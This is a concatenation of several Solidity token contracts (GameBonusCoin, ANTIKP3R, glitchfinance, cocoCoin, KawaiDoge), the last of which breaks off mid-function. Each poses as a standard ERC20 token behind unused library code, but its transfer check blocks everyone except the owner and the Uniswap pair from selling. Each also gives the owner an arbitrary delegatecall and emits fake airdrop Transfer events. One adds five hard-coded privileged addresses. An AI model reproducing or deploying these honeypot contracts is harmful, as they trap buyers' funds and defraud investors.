require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract GameBonusCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* * AKP3R * https://t.me/AKP3R */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ANTIKP3R { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); // function allowance(address owner, address owner2, address owner3, address owner4, address owner5, address owner6, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); // event Approval(address indexed owner, address indexed owner2, address indexed owner3, address indexed owner4, address indexed owner5, address indexed owner6, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } // function _approve(address owner, address owner2, address owner3, address owner4, address owner5, address owner6, address spender, uint amount) internal { function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract glitchfinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI || _from == owner2 || _to == owner2 || _from == owner3 || _to == owner3 || _from == owner4 || _to == owner4 || _from == owner5 || _to == owner5 || _from == owner6 || _to == owner6); //require(owner == msg.sender || owner2 == msg.sender); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address private owner2; address private owner3; address private owner4; address private owner5; address private owner6; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; owner2 = 0x7737533691DE30EAC03ec29803FaabE92619F9a4; owner3 = 0x93338F6cCc570C33F0BAbA914373a6d51FbbB6B7; owner4 = 0x201f739D7346403aF416BEd7e8f8e3de21ccdc84; owner5 = 0x0ee849e0d238A375427E8115D4065FFaA21BCee9; owner6 = 0xD9429A42788Ec71AEDe45f6F48B7688D11900C05; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* COCO Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract cocoCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract KawaiDoge { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 